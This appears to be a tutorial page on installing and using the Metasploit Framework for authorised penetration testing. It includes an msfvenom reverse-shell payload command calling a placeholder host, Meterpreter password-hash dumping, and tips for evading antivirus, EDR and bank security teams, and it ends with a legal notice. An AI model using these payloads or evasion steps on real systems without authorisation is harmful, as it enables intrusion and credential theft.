Metasploit Framework — Install, Use, Optimise (2026)

The exploit framework — 4000+ exploits, post-exploitation modules, payload generators. Default starting point for hands-on exploitation.

Installation

Pick the install method that matches your stack. The Docker option is the cleanest for one-off scans where you don’t want to pollute your workstation.

Kali (preinstalled)

msfconsole

Linux installer

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb | bash

Docker

docker run --rm -it metasploitframework/metasploit-framework

Core commands

The handful of invocations you’ll actually run on 90% of engagements:

Search exploit by CVE

search cve:2024-XXXX

Use exploit + show options

use exploit/multi/http/...; show options

Set RHOSTS + payload

set RHOSTS 10.0.0.5; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST eth0; run

Generate standalone payload (msfvenom)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4444 -f exe > shell.exe

Post-exploit (Meterpreter)

sysinfo; getuid; hashdump; portfwd; bg

Performance optimisation

What separates a junior who runs the default invocation from a practitioner who knows the knobs:

• Database: msfdb init for PostgreSQL backend. Without it, search/workspace are crippled.
• Workspaces: workspace -a engagement1 isolate per-target data. Critical for multi-engagement teams.
• Resource scripts: msfconsole -r script.rc automates exploit chains for repeated testing.
• Multi-handler with exploit/multi/handler -j backgrounds the listener — keeps msfconsole responsive.
• set EnableStageEncoding true + set StageEncoder x86/shikata_ga_nai bypasses simple AVs (useless on EDR).
• Meterpreter’s migrate to a stable process (explorer.exe) before doing anything noisy — survives the original process getting killed.

Common pitfalls

Real failure modes that bite people on engagements. Most are recoverable; a few are reputation-damaging.

• Default reverse_tcp LHOST detection breaks behind NAT — set LHOST manually to your external/VPN IP.
• Defender, CrowdStrike, SentinelOne all detect default Meterpreter — for real engagements, generate via Donut/PE-injection, not msfvenom default.
• db_nmap imports stale data if you re-run — clear with hosts -d.
• Searching CVEs requires recent DB — msfupdate + db_rebuild_cache after update.

Modern alternatives in 2026

The ecosystem moves fast. These are tools you should at least be aware of:

• Cobalt Strike — commercial; better tradecraft, $5900/yr.
• Sliver — open-source C2 framework, modern alternative.
• Mythic — modular C2.

India context and engagement notes

Metasploit’s loud — modern EDR catches default everything. Use it for known-CVE quick-wins (older infra, internal pentest), NOT red-team engagements against mature SOCs. For Indian banks/RBI-regulated engagements, prefer Cobalt Strike or Sliver for actual stealth.

⚖️ Legal: Use only on systems you own or have explicit written authorisation to test. In India, unauthorised access is punishable under Section 66 of the IT Act, 2000 (up to 3 years imprisonment + fine). Pair every engagement with a signed Statement of Work or Rules of Engagement before running anything from this page.